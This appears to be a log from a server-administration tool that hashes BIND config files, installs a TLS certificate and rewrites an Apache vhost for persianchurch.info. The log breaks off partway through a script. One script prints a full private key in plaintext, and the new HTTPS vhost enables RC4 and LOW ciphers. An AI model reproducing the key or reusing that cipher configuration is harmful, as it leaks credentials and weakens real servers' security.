// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-11 18:35:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp640751; rm /tmp/pkp640751'

2026-03-11 18:35:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-11 18:35:53: Establishing a connection
2026-03-11 18:35:53: 

PUT: /tmp/pkp741419

#!/bin/bash
temp_file=$(mktemp)
TARGET=8eb6e7ad55f500c5383398213d6ce103.crt

cat > $temp_file <<'endmsg'
8e:b6:e7:ad:55:f5:00:c5:38:33:98:21:3d:6c:e1:03

-----BEGIN CERTIFICATE-----
MIIDXzCCAkegAwIBAgIUfmETueeHORFSC25ZlL9sAxJN4zkwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDMxMTE4MzU1M1oXDTI3MDMxMTE4MzU1M1ow
HTEbMBkGA1UEAwwScGVyc2lhbmNodXJjaC5pbmZvMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAwrFmPc2sztsYhp0C6OrVKfb580f8924w5EyX3nB/nKUF
hUfp8h8PbjfEkGI3igvOo2+Jgc6SR8C5mLLWmsFw7/zT+12W3CCSs/XM+eXtmKC7
iz6g3/2GQU83mnnoB5JDTB9lRZ9PdxZyuCULpYobjemJ03J2mcyJU1wRjsFXVyH6
HH9OVJbYYoDvFESznQdieaDilXpwxKncgMqK5ElF6PnFnFKUOf0ltiuhl/nVA+Dy
MhVU5GkMtXzdB2P36pdxfWTi/bzprUTTNKWajdHhmUxPw2Gkms2SibcUM1Bl+sx9
8Hd5vYF1awID+lR6yLi1FzBbTCUiXhZoeFoqQp7i+QIDAQABo3kwdzAdBgNVHQ4E
FgQUnCeXtnvemco5XTpBAsAhg/NtQdQwHwYDVR0jBBgwFoAUhZtuDP3NJLXh9dCk
AziCV0swc/wwCwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwHQYDVR0RBBYwFIIScGVy
c2lhbmNodXJjaC5pbmZvMA0GCSqGSIb3DQEBCwUAA4IBAQC+TrpPAkyJ6ASs8Zv7
oQsUS07xLz6ezbVifN2L2Q2d2l3XBHElDZQhBeeGn6x49qRsKDPPb2mQd+TuGpFd
8UtsKk/9gNK4BX5MgExpPFZ34m6RoEFWTfRZIcKOW8ZjOW6Dl6fUR8SDAq2Wkzd9
mQbk2b4Xd4x7dNsP0SNz+XZmiPi+pSsvCTHhWM75XNmCqdK31iNgAW/ipAkxY+Dx
JjTnqDsc8JsCTTKbb8PzMEo4A4gJNm5xrSKfXiMYpDPBey8SWHLeIj979fKWvGDl
8ONU//ek63OSrQx557t3DUJ6n3SP2JELmJWb+Gga56/wea2BA2DLFT7adcrZvPMW
Qgdb
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDCsWY9zazO2xiG
nQLo6tUp9vnzR/z3bjDkTJfecH+cpQWFR+nyHw9uN8SQYjeKC86jb4mBzpJHwLmY
staawXDv/NP7XZbcIJKz9cz55e2YoLuLPqDf/YZBTzeaeegHkkNMH2VFn093FnK4
JQulihuN6YnTcnaZzIlTXBGOwVdXIfocf05UlthigO8URLOdB2J5oOKVenDEqdyA
yorkSUXo+cWcUpQ5/SW2K6GX+dUD4PIyFVTkaQy1fN0HY/fql3F9ZOL9vOmtRNM0
pZqN0eGZTE/DYaSazZKJtxQzUGX6zH3wd3m9gXVrAgP6VHrIuLUXMFtMJSJeFmh4
WipCnuL5AgMBAAECggEABcRMOC4GNyWInaQhvyIFjykNNxMj/3UFTOqmRos9tgQY
gvdVJKJq48oSSaLyUv9A7z8q6x9iEdU39uy4X2K116xWrK4u/VvLPKCRO7p/X4zG
dIkCw6yDJ4Tf+Fr+cAr5cO3IVosx4JMkcfPjwZ/mBQp5b9WG62aCXGe9VWWNeSH8
bB8wJG6OM31soe4LVK6TptWkiYRH6AySvFhglnKwSodD9vRsa+JRLWKh9FgPBdjm
PubZifSCJ5VrabyFiM9q2sbYPfOlafg3x/P2GlQGmYCm2fItAr5LgcS4EtuPam/O
qf0LRxF6SsACPbCqmIxDJvDnh0Y7S0KA0y2syvUvaQKBgQD1pkEgpiNOINIfYcCm
whqxA0AdF1uQFVEa7nqICAIDD1yr5cWjLmfrl/qki7oX3J5EKJd78LYD39FqRAcZ
ekgVmPcSgMxfvsyP8EDZD9SeGty9HJ/Xk2vs9bzyLnHTbXsOQNoYpmtPxBbU0h5O
mRTbeSvfAHerW1NIfuQcW3vWhwKBgQDK5X48ZXUlBYsitPVnYqou4EoQ4QawN1P1
MvNPc47MohKd+7Vg1ieGA1BAVa0syV/JOuFUi+6g5z05zElJ+vjWxreVg1ZTfZQl
6ka7tEDElbEzdnXEJqYVnM826VQ5PsTeR11iPGMkaKIL2oxUbuFzLLOA94TTE0zL
I+mVIBxafwKBgQC38SA/hGhXbngpC5eoxxwZhGeT4ROtFmk/E2gpSGXJSM2J4mpV
wMAMSCdk40Qb7hWM0CBurFZ/HC/BtOLkDw6/LWWFM3DWGRcwiSTl5Na+9TppWW/P
ixJ7w58ScfjF6usER0eIwcUFW74E6rnK/RIDLf7N45m4dJAubuX83fwjLQKBgQCt
utvgcy9fR+PfD/uhTsZR5RMGaOgFMxrctYfI3DXF2nD+fWzNQhINmgC5VaM22ib+
c0BF2Ju3gsjWGKoYgqFXpkfD6fWc/8Y+wN9YEfvzWAmm+yPTlRRZJS/44MmRSsHf
YlP/rZ1mq4E1jSjjkx3QNNJu94HwCnKS7mkvm5MrmQKBgQCvRfi5Zer2rnESAE04
XZZ9ApZ7X9VRWiNt7kJNI7CX8cXSCKf8SMzDL26JTFhF+EYVO2LLNyrnDTHais3M
NDdSfcf5Bd4/GTYCA+uLHVcmqnTRdywTdbC28wojPtjYmmfSudDT2MZl/p8FUGwM
3Po3XbNARb3UFLdlvVCpBydjrA==
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-11 18:35:53: 

chmod 755 /tmp/pkp741419; /tmp/pkp741419; rm /tmp/pkp741419

2026-03-11 18:35:53: 


dir=/etc/ssl/certs


2026-03-11 18:35:53: 

PUT: /tmp/pkp955575

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/persianchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-11 18:35:53: 

chmod 755 /tmp/pkp955575; /tmp/pkp955575; rm /tmp/pkp955575

2026-03-11 18:35:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-03-11 18:35:53: 

PUT: /tmp/pkp924070

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=persianchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/persianchurch_www_info.conf
DOCROOT=/var/www/persianchurch_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
